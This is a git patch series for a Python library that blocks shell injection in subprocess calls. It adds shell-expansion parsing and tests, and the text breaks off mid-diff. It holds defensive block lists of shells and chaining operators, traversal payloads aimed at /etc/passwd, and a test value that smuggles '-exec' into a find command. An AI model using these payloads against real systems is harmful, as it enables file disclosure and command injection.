+ALLOWED_SHELL_EXPANSION_OPERATORS = frozenset(('-', '=', '?', '+')) +BANNED_SHELL_EXPANSION_OPERATORS = frozenset(("!", "*", "@", "#", "%", "/", "^", ",")) -SHELL_VARIABLE_REGEX = re_compile(r'(\$[a-zA-Z_][a-zA-Z0-9_]*)') -SHELL_EXPANSION_REGEX = re_compile(r'(([\$\S])*(\{[^{}]+?\})[^\s\$]*)') -REDIRECTION_OPERATORS_REGEX = re_compile(r'(?!<\()(<>?&?-?(?:\d+|\|)?|<>)') def run(original_func: Callable, command: ValidCommand, *args, restrictions: ValidRestrictions = DEFAULT_CHECKS, **kwargs) -> Union[CompletedProcess, None]: @@ -78,88 +77,137 @@ def _get_env_var_value(var: str) -> str: return "" +def _simple_shell_math(string: str) -> int: + # Handles arithmetic expansion of bracket paramters like ${HOME:1+1:5-2} == ${HOME:2:3} + # Only supports + - for now since * / % are banned shell expansion operators + value = 0 + stack = [] + string = string.strip().lstrip("+") # Leading spaces or + is allowed by shell but has no effect + if string.startswith("-"): + stack.append("-") + string = string[1:].lstrip("-") # More than one - is allowed by shell but has no effect different from one - + + for char in string: + if char.isdigit() or char == ".": + stack.append(char) + + elif char in "+-": + value += float(''.join(stack)) + if char == "-": + stack = ["-"] + else: + stack = [] + + if stack and stack != ["-"]: + value += float(''.join(stack)) + elif string and (not stack or stack == ["-"]): + # If the last char is an operator this is invalid + # but an empty string is valid and returns 0 + raise ValueError("Invalid arithmetic expansion") + + return int(value) # Floats can be used in shells but the value is truncated to an int + + def _shell_expand(command: str) -> str: + SHELL_VARIABLE_REGEX = re_compile(r'(\$[a-zA-Z_][a-zA-Z0-9_]*)') + SHELL_EXPANSION_REGEX = re_compile(r'(([\$\S])*(\{[^{}]+?\})[^\s\$]*)') + # Handles simple shell variable expansion like $HOME, $PWD, $IFS for match in SHELL_VARIABLE_REGEX.finditer(command): shell_var_str = match.group(0) var = shell_var_str[1:] - value = _get_env_var_value(var) - + value = _get_env_var_value(var) + # Explicitly set IFS to space if it is empty since IFS is not always returned by expandvars or getenv on all systems if var == "IFS" and not value: - value = " " + value = " " command = command.replace(shell_var_str, value) - # Handle Complex Parameter, Brace and Sequence shell expansions - for match in SHELL_EXPANSION_REGEX.finditer(command): + # Handle Complex Parameter, Brace and Sequence shell expansions + while match := SHELL_EXPANSION_REGEX.search(command): full_expansion, prefix, brackets = match.groups() inside_brackets = brackets[1:-1] - + if prefix == "$": - # Handles Parameter expansion like ${var:-defaultval}, ${var:=defaultval}, ${var:+defaultval}, ${var:?defaultval} - var, *expansion_params = inside_brackets.split(":") + # Handles Parameter expansion ${var:1:2}, ${var:1}, ${var:1:}, ${var:1:2:3} + # and ${var:-defaultval}, ${var:=defaultval}, ${var:+defaultval}, ${var:?defaultval} - value, operation, default = "", "", "" + # Blocks ${!prefix*} ${!prefix@} ${!name[@]} ${!name[*]} ${#parameter} ${parameter#word} ${parameter##word} + # ${parameter/pattern/string} ${parameter%word} ${parameter%%word} ${parameter@operator} + for banned_expansion_operator in BANNED_SHELL_EXPANSION_OPERATORS: + if banned_expansion_operator in inside_brackets: + raise SecurityException( + f"Disallowed shell expansion operator: {banned_expansion_operator}") + + var, *expansion_params = inside_brackets.split(":") + + value, operator, default = "", "", "" start_slice, end_slice = None, None if expansion_params: - expansion_param_1 = expansion_params.pop(0) - first_char = expansion_param_1[0] - if first_char.isdigit() or (first_char == "-" and expansion_param_1[1:].isdigit()): - start_slice = int(expansion_param_1) - if expansion_params: - expansion_param_2 = expansion_params[0] - end_slice = int(expansion_param_2) - else: - operation = first_char - default = expansion_param_1[1:] + expansion_param_1 = expansion_params[0] + + # If the first char is empty or a digit or a space then it is a slice expansion + # like ${var:1:2}, ${var:1}, ${var:1:}, ${var:1:2:3} ${var: -1} ${var:1+1:5-2} ${var::} + if not expansion_param_1 or expansion_param_1[0].isdigit() or expansion_param_1[0] == " ": + start_slice = _simple_shell_math(expansion_param_1) + if len(expansion_params) > 1: + expansion_param_2 = expansion_params[1] + end_slice = _simple_shell_math(expansion_param_2) + + elif (operator := expansion_param_1[0]) in ALLOWED_SHELL_EXPANSION_OPERATORS: + # If the first char is a shell expansion operator then it is a default value expansion + # like ${var:-defaultval}, ${var:=defaultval}, ${var:+defaultval}, ${var:?defaultval} + default = ':'.join(expansion_params)[1:] + value = _get_env_var_value(var) if start_slice is not None: value = value[start_slice:end_slice] - elif not operation or operation == "?": + elif not operator or operator == "?": value = value - elif operation in "-=": + elif operator in "-=": value = value or default - elif operation == "+": + elif operator == "+": value = default if value else "" - + # Explicitly set IFS to space but only after checking for a default value if var == "IFS" and not value: value = " " command = command.replace(f"${brackets}", value) - + else: # Handles Brace and sequence expansion like {1..10..2}, {a,b,c}, {1..10}, {1..-1} - values = [] - if (',' not in inside_brackets - and len(inside_params := inside_brackets.split('..')) in (2,3) - and all(param.isdigit() or param.startswith("-") for param in inside_params) + values = [] + if (',' not in inside_brackets + and len(inside_params := inside_brackets.split('..')) in (2, 3) + and all(param.isdigit() or param.startswith("-") for param in inside_params) ): - + # Sequence expansion inside_params = list(map(int, inside_params)) if len(inside_params) == 2: inside_params.append(1) start, end, step = inside_params - + sequence = None if start <= end and step > 0: - sequence = range(start, end+1, step) + sequence = range(start, end+1, step) elif start <= end and step < 0: - sequence = range(end-1, start-1, step) + sequence = range(end-1, start-1, step) elif start > end and step > 0: - sequence = range(start, end-1, -step) + sequence = range(start, end-1, -step) elif start > end and step < 0: - sequence = reversed(range(start, end-1, step)) + sequence = reversed(range(start, end-1, step)) if sequence: for i in sequence: values.append(full_expansion.replace(brackets, str(i))) else: - values.append(full_expansion.replace(brackets, inside_brackets)) - + values.append(full_expansion.replace( + brackets, inside_brackets)) + else: # Brace expansion for var in inside_brackets.split(','): @@ -168,15 +216,18 @@ def _shell_expand(command: str) -> str: var_value = _get_env_var_value(var) else: var_value = var - values.append(full_expansion.replace(brackets, var_value, 1)) - + values.append(full_expansion.replace( + brackets, var_value, 1)) + value = ' '.join(values) command = command.replace(full_expansion, value) return command -def _space_redirects(command: str) -> str: +def _space_redirection_operators(command: str) -> str: + REDIRECTION_OPERATORS_REGEX = re_compile( + r'(?!<\()(<>?&?-?(?:\d+|\|)?|<>)') # Space out redirect operators to avoid them being combined with the next or previous command part when splitting return REDIRECTION_OPERATORS_REGEX.sub(r' \1 ', command) @@ -193,25 +244,25 @@ def _recursive_shlex_split(command: str) -> Iterator[str]: if '"' in cmd_part or "'" in cmd_part or " " in cmd_part: yield from _recursive_shlex_split(cmd_part) - + def _parse_command(command: ValidCommand) -> Optional[Tuple[str, List[str]]]: if isinstance(command, str): if not command.strip(): # Empty commands are safe return None - + command_str = command elif isinstance(command, list): if not command or command == [""]: # Empty commands are safe return None - + command_str = " ".join(command) else: raise TypeError("Command must be a str or a list") - spaced_command = _space_redirects(command_str) + spaced_command = _space_redirection_operators(command_str) expanded_command = _shell_expand(spaced_command) parsed_command = list(_recursive_shlex_split(expanded_command)) return expanded_command, parsed_command @@ -279,7 +330,7 @@ def check(command: ValidCommand, restrictions: ValidRestrictions) -> None: if not restrictions: # No restrictions no checks return None - + expanded_command, parsed_command = _parse_command(command) or ("", []) if not parsed_command: # Empty commands are safe @@ -288,7 +339,8 @@ def check(command: ValidCommand, restrictions: ValidRestrictions) -> None: executable = parsed_command[0] executable_path = _resolve_executable_path(executable) - abs_paths, abs_path_strings = _resolve_paths_in_parsed_command(parsed_command) + abs_paths, abs_path_strings = _resolve_paths_in_parsed_command( + parsed_command) if "PREVENT_COMMAND_CHAINING" in restrictions: check_multiple_commands(expanded_command, parsed_command) @@ -314,7 +366,7 @@ def check(command: ValidCommand, restrictions: ValidRestrictions) -> None: def check_multiple_commands(expanded_command: str, parsed_command: List[str]) -> None: # Since shlex.split removes newlines from the command, it would not be present in the parsed_command and - # must be checked for in the expanded command string + # must be checked for in the expanded command string if '\n' in expanded_command: raise SecurityException( "Multiple commands not allowed. Newline found.") @@ -324,7 +376,7 @@ def check_multiple_commands(expanded_command: str, parsed_command: List[str]) -> raise SecurityException( f"Multiple commands not allowed. Separators found.") - if any(substitution_op in cmd_part for substitution_op in BANNED_PROCESS_SUBSTITUTION_OPERATORS): + if any(substitution_op in cmd_part for substitution_op in BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS): raise SecurityException( f"Multiple commands not allowed. Process substitution operators found.") @@ -380,5 +432,3 @@ def check_file_group(path: Path) -> None: if group in BANNED_GROUPS: raise SecurityException( f"Disallowed access to file owned by {group}: {path}") - - diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py index a9c2f56..9cf813f 100644 --- a/tests/safe_command/test_injection.py +++ b/tests/safe_command/test_injection.py @@ -1,7 +1,7 @@ import pytest import subprocess from pathlib import Path -from os import mkfifo, symlink, remove +from os import mkfifo, symlink, remove, getenv from shutil import rmtree, which from security import safe_command @@ -146,78 +146,131 @@ def test_resolve_paths_in_parsed_command(self, command, expected_paths, setup_te assert abs_paths == expected_paths assert abs_path_strings == {str(p) for p in expected_paths} + @pytest.mark.parametrize( "string, expanded_str", [ - ("echo $HOME", f"echo {str(Path.home())}"), - ("echo $PWD", f"echo {Path.cwd()}"), - ("echo $IFS", "echo "), - - ("echo $HOME $PWD $IFS", f"echo {str(Path.home())} {Path.cwd()} "), - ("echo ${HOME} ${PWD} ${IFS}", f"echo {str(Path.home())} {Path.cwd()} "), - - ("echo ${IFS}", "echo "), - ("echo ${IFS:0}", "echo "), - ("echo ${IFS:0:1}", "echo "), - ("echo ${IFS:4:20}", "echo "), - ("echo ${HOME:4:20}", f"echo {str(Path.home())[4:20]}"), - ("echo ${HOME:4}", f"echo {str(Path.home())[4:]}"), - ("echo ${HOME:-1:-10}", f"echo {str(Path.home())[-1:10]}"), + ("$HOME", f"{str(Path.home())}"), + ("$PWD", f"{Path.cwd()}"), + ("$IFS", " "), + + ("$HOME $PWD $IFS", f"{str(Path.home())} {Path.cwd()} "), + ("${HOME} ${PWD} ${IFS}", f"{str(Path.home())} {Path.cwd()} "), + + ("${IFS}", " "), + ("${IFS:0}", " "), + ("${IFS:0:1}", " "), + ("${IFS:4:20}", " "), + ("${HOME:4:20}", f"{str(Path.home())[4:20]}"), + ("${HOME:4}", f"{str(Path.home())[4:]}"), + ("${HOME:1:-10}", f"{str(Path.home())[1:-10]}"), + ("${HOME::2}", f"{str(Path.home())[0:2]}"), + ("${HOME::}", f"{str(Path.home())[0:0]}"), + ("${HOME: -1: -10}", f"{str(Path.home())[-1:-10]}"), + ("${HOME:1+2+3-4:1.5+2.5+6-5.0}", f"{str(Path.home())[2:5]}"), + + ("${BADKEY:-1}", "1"), + ("${BADKEY:-1:10}", "1:10"), + + ("A${BADKEY:0:10}B", "AB"), + ("A${BADKEY:-}B", "AB"), + ("A${BADKEY:- }B", "A B"), - ("echo ${HOME:-defaultval}", f"echo {str(Path.home())}"), - ("echo ${HOME:=defaultval}", f"echo {str(Path.home())}"), - ("echo ${HOME:+defaultval}", "echo defaultval"), - - ("echo ${BADKEY:-defaultval}", "echo defaultval"), - ("echo ${BADKEY:=defaultval}", "echo defaultval"), - ("echo ${BADKEY:+defaultval}", "echo "), - ("echo ${BADKEY:0:2}", "echo "), - - ("echo a{d,c,b}e", "echo ade ace abe"), - ("echo a{'d',\"c\",b}e", "echo ade ace abe"), - ("echo a{$HOME,$PWD,$IFS}e", f"echo a{str(Path.home())}e a{Path.cwd()}e a e"), + ("${HOME:-defaultval}", f"{str(Path.home())}"), + ("${HOME:=defaultval}", f"{str(Path.home())}"), + ("${HOME:+defaultval}", "defaultval"), + + ("${BADKEY:-defaultval}", "defaultval"), + ("${BADKEY:=defaultval}", "defaultval"), + ("${BADKEY:+defaultval}", ""), + ("${BADKEY:0:2}", ""), + + ("${BADKEY:-$USER}", f"{getenv('USER')}"), + ("${BADKEY:-${USER}}" , f"{getenv('USER')}"), + ("${BADKEY:-${BADKEY:-${USER}}}", f"{getenv('USER')}"), + + ("a{d,c,b}e", "ade ace abe"), + ("a{'d',\"c\",b}e", "ade ace abe"), + ("a{$HOME,$PWD,$IFS}e", f"a{str(Path.home())}e a{Path.cwd()}e a e"), - ("echo {1..-1}", "echo 1 0 -1"), - ("echo {1..1}", "echo 1"), - ("echo {1..4}", "echo 1 2 3 4"), - - ("echo {1..10..2}", "echo 1 3 5 7 9"), - ("echo {1..10..-2}", "echo 9 7 5 3 1"), - ("echo {10..1..2}", "echo 10 8 6 4 2"), - ("echo {10..1..-2}", "echo 2 4 6 8 10"), - - ("echo {-1..10..2}", "echo -1 1 3 5 7 9"), - ("echo {-1..10..-2}", "echo 9 7 5 3 1 -1"), - ("echo {10..-1..2}", "echo 10 8 6 4 2 0"), - ("echo {10..-1..-2}", "echo 0 2 4 6 8 10"), - - ("echo {1..-10..2}", "echo 1 -1 -3 -5 -7 -9"), - ("echo {1..-10..-2}", "echo -9 -7 -5 -3 -1 1"), - ("echo {-10..1..2}", "echo -10 -8 -6 -4 -2 0"), - ("echo {-10..1..-2}", "echo 0 -2 -4 -6 -8 -10"), - - ("echo {-1..-10..2}", "echo -1 -3 -5 -7 -9"), - ("echo {-1..-10..-2}", "echo -9 -7 -5 -3 -1"), - ("echo {-10..-1..2}", "echo -10 -8 -6 -4 -2"), - ("echo {-10..-1..-2}", "echo -2 -4 -6 -8 -10"), - ("echo {10..-10..2}", "echo 10 8 6 4 2 0 -2 -4 -6 -8 -10"), - ("echo {10..-10..-2}", "echo -10 -8 -6 -4 -2 0 2 4 6 8 10"), + ("{1..-1}", "1 0 -1"), + ("{1..1}", "1"), + ("{1..4}", "1 2 3 4"), + + ("{1..10..2}", "1 3 5 7 9"), + ("{1..10..-2}", "9 7 5 3 1"), + ("{10..1..2}", "10 8 6 4 2"), + ("{10..1..-2}", "2 4 6 8 10"), + + ("{-1..10..2}", "-1 1 3 5 7 9"), + ("{-1..10..-2}", "9 7 5 3 1 -1"), + ("{10..-1..2}", "10 8 6 4 2 0"), + ("{10..-1..-2}", "0 2 4 6 8 10"), + + ("{1..-10..2}", "1 -1 -3 -5 -7 -9"), + ("{1..-10..-2}", "-9 -7 -5 -3 -1 1"), + ("{-10..1..2}", "-10 -8 -6 -4 -2 0"), + ("{-10..1..-2}", "0 -2 -4 -6 -8 -10"), + + ("{-1..-10..2}", "-1 -3 -5 -7 -9"), + ("{-1..-10..-2}", "-9 -7 -5 -3 -1"), + ("{-10..-1..2}", "-10 -8 -6 -4 -2"), + ("{-10..-1..-2}", "-2 -4 -6 -8 -10"), + ("{10..-10..2}", "10 8 6 4 2 0 -2 -4 -6 -8 -10"), + ("{10..-10..-2}", "-10 -8 -6 -4 -2 0 2 4 6 8 10"), - ("echo {1..10..0}", "echo 1..10..0"), - ("echo AB{1..10..0}CD", "echo AB1..10..0CD"), - ("echo AB{1..$HOME}CD", f"echo AB1..{str(Path.home())}CD"), + ("{1..10..0}", "1..10..0"), + ("AB{1..10..0}CD", "AB1..10..0CD"), + ("AB{1..$HOME}CD", f"AB1..{str(Path.home())}CD"), - ("echo a{1..4}e", "echo a1e a2e a3e a4e"), - ("echo AB{1..10..2}CD {$HOME,$PWD} ${BADKEY:-defaultval}", f"echo AB1CD AB3CD AB5CD AB7CD AB9CD {str(Path.home())} {Path.cwd()} defaultval"), - ("echo AB{1..4}CD", "echo AB1CD AB2CD AB3CD AB4CD"), + ("a{1..4}e", "a1e a2e a3e a4e"), + ("AB{1..10..2}CD {$HOME,$PWD} ${BADKEY:-defaultval}", f"AB1CD AB3CD AB5CD AB7CD AB9CD {str(Path.home())} {Path.cwd()} defaultval"), + ("AB{1..4}CD", "AB1CD AB2CD AB3CD AB4CD"), ("find . -name '*.txt' ${BADKEY:--exec} cat {} + ", "find . -name '*.txt' -exec cat {} + "), ] ) - def test_shell_expansions(self, string, expanded_str, setup_teardown): + def test_shell_expansions(self, string, expanded_str): assert _shell_expand(string) == expanded_str + @pytest.mark.parametrize( + "string", + [ + "${!prefix*}", + "${!prefix@}", + "${!name[@]}", + "${!name[*]}", + "${#parameter}", + "${parameter#word}", + "${parameter##word}", + "${parameter%word}", + "${parameter%%word}", + "${parameter/pattern/string}", + "${parameter//pattern/string}", + "${parameter/#pattern/string}", + "${parameter/%pattern/string}", + "${parameter^pattern}", + "${parameter^^pattern}", + "${parameter,pattern}", + "${parameter,,pattern}", + "${parameter@operator}", + + # All these should be blocked because evaluation of nested expansions + # returns a / which is a banned expansion operator + "${BADKEY:-$HOME}", + "${BADKEY:-${HOME}}" , + "${BADKEY:-${BADKEY:-${HOME}}}", + + ] + ) + def test_banned_shell_expansion(self, string): + with pytest.raises(SecurityException) as cm: + _shell_expand(string) + print(string) + assert cm.value.args[0].startswith("Disallowed shell expansion") + + @pytest.mark.parametrize("original_func", [subprocess.run, subprocess.call]) class TestSafeCommandRestrictions: EXCEPTIONS = { @@ -501,7 +554,7 @@ def test_fuzzdb_injection_payloads(self, command, original_func): "/etc/passwd", "/etc/passwd*", "/etc/pass*d", - "*etc/pass*d", + "*/etc/pass*d", "/et**/pa*sswd", "etc/passwd", @@ -531,7 +584,7 @@ def test_fuzzdb_traversal_payloads(self, filepath, original_func): shell=True, **popen_kwargs ) - # Anything that is allowed to run is a junk path that does resolve to /etc/passwd + # Anything that is allowed to run is a junk path that does not resolve to /etc/passwd # and should thus not be blocked by PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES if original_func.__name__ == "run": assert "root:" not in result.stdout @@ -542,4 +595,5 @@ def test_fuzzdb_traversal_payloads(self, filepath, original_func): assert e.args[0].startswith("Disallowed access to sensitive file") elif isinstance(e, OSError): assert e.strerror == "File name too long" - \ No newline at end of file + + From d22c6fb4fe59d19d92a221d563b87bc3d282dce8 Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Thu, 22 Feb 2024 17:40:10 -0800 Subject: [PATCH 09/19] - Complete Shell param/brace/sequence expansion for all ALLOWED_SHELL_EXPANSION_OPERATORS. - Handle arithmetic expansion of parameters using -+ and/or nesting and shell variables. - Track env vars set/modified by expansion and use them in the final command. - Use expanuser to handle ~ and ~user tilde expansion when resolving paths. - Correctly hand alphanumeric sequences expansions - Block process substitution via input redirection. - More tests, refactoring and comments. My _shell_expand implementation is still in progress but is neccessary since there are no other viable solutions in Python. The best I have seen is https://github.com/kojiromike/parameter-expansion but it cannot be used in a security context because they say: "All the standard shell expansions are supported, including some level of nested expansion, as long as this is not too complex or ambiguous." and ambigous cases are exactly what needs to be handled. --- src/security/safe_command/api.py | 458 +++++++++++++++++++-------- tests/safe_command/test_injection.py | 99 +++++- 2 files changed, 413 insertions(+), 144 deletions(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index fa618bd..4354ef4 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -40,7 +40,8 @@ BANNED_OWNERS = frozenset(("root", "admin", "wheel", "sudo")) BANNED_GROUPS = frozenset(("root", "admin", "wheel", "sudo")) BANNED_COMMAND_CHAINING_SEPARATORS = frozenset(("&", ";", "|", "\n")) -BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS = frozenset(("$(", "`", "<(", ">(")) +BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS = frozenset( + ("$(", "`", "<(", ">(")) BANNED_COMMAND_CHAINING_EXECUTABLES = frozenset(( "eval", "exec", "-exec", "env", "source", "sudo", "su", "gosu", "sudoedit", "bash", "sh", "zsh", "csh", "rsh", "tcsh", "ksh", "dash", "fish", "powershell", "pwsh", "pwsh-preview", "pwsh-lts", @@ -51,8 +52,8 @@ )) ALLOWED_SHELL_EXPANSION_OPERATORS = frozenset(('-', '=', '?', '+')) -BANNED_SHELL_EXPANSION_OPERATORS = frozenset(("!", "*", "@", "#", "%", "/", "^", ",")) - +BANNED_SHELL_EXPANSION_OPERATORS = frozenset( + ("!", "*", "@", "#", "%", "/", "^", ",")) def run(original_func: Callable, command: ValidCommand, *args, restrictions: ValidRestrictions = DEFAULT_CHECKS, **kwargs) -> Union[CompletedProcess, None]: @@ -69,199 +70,378 @@ def _call_original(original_func: Callable, command: ValidCommand, *args, **kwar def _get_env_var_value(var: str) -> str: - if (expanded_var := expandvars(var)) != var: - return expanded_var - elif (expanded_var := getenv(var)): - return expanded_var + """ + Try to get the value of the environment variable var. + First with os.getenv then with os.path.expandvars. + Returns an empty string if the variable is not set. + """ + # Try os.getenv first + if (value := getenv(var)): + return value + + if not var.startswith("$"): + var = f"${var}" # expandvars takes a var in form $var or ${var} + # Try os.path.expandvars + if (value := expandvars(var)) != var: + return value else: return "" -def _simple_shell_math(string: str) -> int: - # Handles arithmetic expansion of bracket paramters like ${HOME:1+1:5-2} == ${HOME:2:3} - # Only supports + - for now since * / % are banned shell expansion operators +def _strip_quotes(string: str) -> str: + """ + Strips either type of quotes but not both + """ + if string.startswith("'") and string.endswith("'"): + return string.strip("'") + elif string.startswith('"') and string.endswith('"'): + return string.strip('"') + else: + return string + + +def _replace_all(string: str, replacements: dict, reverse=False) -> str: + for old, new in replacements.items(): + if reverse: + string = string.replace(new, old) + else: + string = string.replace(old, new) + return string + + +def _simple_shell_math(expression: Union[str, Iterator[str]], venv: dict, operator: str='+') -> int: + """ + Handles arithmetic expansion of bracket paramters like ${HOME:1+1:5-2} == ${HOME:2:3} + Only supports + - for now since * / % are banned shell expansion operators + venv is used since env vars can be set or modified while evaluating the arithmetic expansion + + Implementation is based on Bash shell arithmetic rules: + https://www.gnu.org/software/bash/manual/html_node/Shell-Arithmetic.html + """ + + ALLOWED_OPERATORS = "+-" + + def is_valid_shell_number(string: str) -> bool: + return string.lstrip('+-').replace(".", "", 1).isnumeric() + + def is_operator(char: str) -> bool: + return char in ALLOWED_OPERATORS + + def is_assignment_operator(char: str) -> bool: + return char == "=" + + def evaluate_stack(stack: list, venv: dict) -> float: + if not stack: + return 0 + + # Join items in the stack to form a string for evaluation + stack_str = ''.join(stack) + + # If the stack is a number return it + if is_valid_shell_number(stack_str): + return float(stack_str) + + # If its not a number it is handled as a shell var + var = stack_str + if var.startswith("$"): + var = var[1:] + if var.startswith("{") and var.endswith("}"): + var = var[1:-1] + + value = venv.get(var) or _get_env_var_value(var) or "0" + if is_valid_shell_number(value): + return float(value) + else: + raise ValueError("Invalid arithmetic expansion") + + + # Main function body value = 0 stack = [] - string = string.strip().lstrip("+") # Leading spaces or + is allowed by shell but has no effect - if string.startswith("-"): - stack.append("-") - string = string[1:].lstrip("-") # More than one - is allowed by shell but has no effect different from one - + char = "" + + if isinstance(expression, str): + # Whitespace is ignored when evaluating the expression + expression = expression.replace(' ', "").replace( + "\t", "").replace("\n", "") + + # Raise an error if the last char in the expression is an operator + last_char = expression[-1] if expression else "" + if last_char and (is_operator(last_char) or is_assignment_operator(last_char)): + raise ValueError( + f"Invalid arithmetic expansion. operand expected (error token is '{last_char}')") + + if expression.startswith("-"): + operator = "-" + # More than one leading - is allowed by shell but has no effect different from one - + expression = expression.lstrip("-") + else: + # leading +(s) are allowed by shell but have no effect + expression = expression.lstrip("+") + + # Create an iterator of all non-whitespace chars in the expression + expr_iter = iter(expression) + else: + # If the expression is already an iterator (when called recursively) use it as is + expr_iter = expression + + # Recursively evaluate the expression until the iterator is exhausted + while (char := next(expr_iter, "")): + did_lookahead = False + + if is_operator(char): + # Check if the operator is followed by an equals sign "=" (+= or -=) + next_char = next(expr_iter, "") + did_lookahead = True + + # Evaluate the stack and update the value whenever a + or - is encountered, + stack_value = evaluate_stack(stack, venv) + if operator == "-": + stack_value = -stack_value + value += stack_value + + # Reset the stack to only next_char if the operator is not followed by an equals sign "=" + if not is_assignment_operator(next_char): + stack = [next_char] + + # So assignment is handled correctly by the next if block + operator = char + char = next_char + + if is_assignment_operator(char): + var = ''.join(stack) + if not var: + raise ValueError( + "Invalid arithmetic expansion. variable expected") + + # Recursively evaluate the expression after the assignment operator + assignment_value = _simple_shell_math(expr_iter, venv, operator) + if operator == "-": + assignment_value = -assignment_value + value += assignment_value + + # Set the variable to the evaluated value depending on whether it was an assignment or an increment + if did_lookahead: + # Increment the variable by the assignment value + venv[var] = str( + int(float(venv.get(var, 0)) + assignment_value)) + else: + # Set the variable to the assignment value + venv[var] = str(assignment_value) + + # Clear the stack and continue to the next char + stack.clear() - for char in string: - if char.isdigit() or char == ".": + elif not did_lookahead: + # Add the char to the stack if not added during the lookahead stack.append(char) - elif char in "+-": - value += float(''.join(stack)) - if char == "-": - stack = ["-"] - else: - stack = [] - - if stack and stack != ["-"]: - value += float(''.join(stack)) - elif string and (not stack or stack == ["-"]): - # If the last char is an operator this is invalid - # but an empty string is valid and returns 0 - raise ValueError("Invalid arithmetic expansion") - - return int(value) # Floats can be used in shells but the value is truncated to an int - + + # Evaluate what is left in the stack after the iterator is exhausted + stack_value = evaluate_stack(stack, venv) + if operator == "-": + stack_value = -stack_value + value += stack_value + + # Floats can be used in shells but the value is truncated to an int + return int(value) + def _shell_expand(command: str) -> str: - SHELL_VARIABLE_REGEX = re_compile(r'(\$[a-zA-Z_][a-zA-Z0-9_]*)') - SHELL_EXPANSION_REGEX = re_compile(r'(([\$\S])*(\{[^{}]+?\})[^\s\$]*)') - - # Handles simple shell variable expansion like $HOME, $PWD, $IFS - for match in SHELL_VARIABLE_REGEX.finditer(command): - shell_var_str = match.group(0) - var = shell_var_str[1:] - value = _get_env_var_value(var) - - # Explicitly set IFS to space if it is empty since IFS is not always returned by expandvars or getenv on all systems - if var == "IFS" and not value: - value = " " - - command = command.replace(shell_var_str, value) - - # Handle Complex Parameter, Brace and Sequence shell expansions - while match := SHELL_EXPANSION_REGEX.search(command): - full_expansion, prefix, brackets = match.groups() - inside_brackets = brackets[1:-1] - - if prefix == "$": - # Handles Parameter expansion ${var:1:2}, ${var:1}, ${var:1:}, ${var:1:2:3} + """ + Expand shell variables and shell expansions in the command string. + Implementation is based on Bash expansion rules: + https://www.gnu.org/software/bash/manual/html_node/Shell-Expansions.html + """ + + PARAM_EXPANSION_REGEX = re_compile( + r'(?P\$(?P[a-zA-Z_][a-zA-Z0-9_]*|\{[^{}\$]+?\}))') + BRACE_EXPANSION_REGEX = re_compile( + r'(?P\S*(?P\{[^{}\$]+?\})\S*)') + + # To store {placeholder : invalid_match} pairs to reinsert after the loop + invalid_matches = {} + venv = {} # To store env vars set during expansion + + while (match := (PARAM_EXPANSION_REGEX.search(command) or BRACE_EXPANSION_REGEX.search(command))): + full_expansion, content = match.groups() + inside_braces = content[1:-1] if content.startswith( + "{") and content.endswith("}") else content + + if match.re is PARAM_EXPANSION_REGEX: + # Handles Parameter expansion ${var:1:2}, ${var:1}, ${var:1:}, ${var:1:2:3} # and ${var:-defaultval}, ${var:=defaultval}, ${var:+defaultval}, ${var:?defaultval} - + # https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html + # Blocks ${!prefix*} ${!prefix@} ${!name[@]} ${!name[*]} ${#parameter} ${parameter#word} ${parameter##word} # ${parameter/pattern/string} ${parameter%word} ${parameter%%word} ${parameter@operator} for banned_expansion_operator in BANNED_SHELL_EXPANSION_OPERATORS: - if banned_expansion_operator in inside_brackets: + if banned_expansion_operator in inside_braces: raise SecurityException( f"Disallowed shell expansion operator: {banned_expansion_operator}") - - var, *expansion_params = inside_brackets.split(":") + + var, *expansion_params = inside_braces.split(":") value, operator, default = "", "", "" start_slice, end_slice = None, None if expansion_params: expansion_param_1 = expansion_params[0] - + # If the first char is empty or a digit or a space then it is a slice expansion # like ${var:1:2}, ${var:1}, ${var:1:}, ${var:1:2:3} ${var: -1} ${var:1+1:5-2} ${var::} - if not expansion_param_1 or expansion_param_1[0].isdigit() or expansion_param_1[0] == " ": - start_slice = _simple_shell_math(expansion_param_1) - if len(expansion_params) > 1: - expansion_param_2 = expansion_params[1] - end_slice = _simple_shell_math(expansion_param_2) + if not expansion_param_1 or expansion_param_1[0].isalnum() or expansion_param_1[0] == " ": + try: + start_slice = _simple_shell_math( + expansion_param_1, venv) + if len(expansion_params) > 1: + expansion_param_2 = expansion_params[1] + end_slice = _simple_shell_math( + expansion_param_2, venv) + except ValueError as e: + # start_slice, end_slice = 0, 0 # If the arithmetic expansion fails the slice is set to 0:0 so an empty string is returned + raise SecurityException( + f"Invalid arithmetic in shell expansion: {e}") elif (operator := expansion_param_1[0]) in ALLOWED_SHELL_EXPANSION_OPERATORS: # If the first char is a shell expansion operator then it is a default value expansion # like ${var:-defaultval}, ${var:=defaultval}, ${var:+defaultval}, ${var:?defaultval} default = ':'.join(expansion_params)[1:] - - value = _get_env_var_value(var) + value = venv.get(var) or _get_env_var_value(var) if start_slice is not None: value = value[start_slice:end_slice] elif not operator or operator == "?": value = value elif operator in "-=": value = value or default + if operator == "=": + # Store the value in the venv if the operator is = + venv[var] = value elif operator == "+": value = default if value else "" # Explicitly set IFS to space but only after checking for a default value + # since IFS is not always returned by getenv or expandvars on all systems if var == "IFS" and not value: value = " " - command = command.replace(f"${brackets}", value) + command = command.replace(full_expansion, value, 1) - else: + elif match.re is BRACE_EXPANSION_REGEX: # Handles Brace and sequence expansion like {1..10..2}, {a,b,c}, {1..10}, {1..-1} + # https://www.gnu.org/software/bash/manual/html_node/Brace-Expansion.html values = [] - if (',' not in inside_brackets - and len(inside_params := inside_brackets.split('..')) in (2, 3) - and all(param.isdigit() or param.startswith("-") for param in inside_params) - ): + escape_placeholders = { + f"{hash(full_expansion)}comma": "\\,", + f"{hash(full_expansion)}lbrace": "\\{", + f"{hash(full_expansion)}rbrace": "\\}", + } + # Docs state: "A { or ‘,’ may be quoted with a backslash to prevent its being considered part of a brace expression." + inside_braces_no_escapes = _replace_all( + inside_braces, escape_placeholders, reverse=True) + + if ',' in inside_braces_no_escapes and 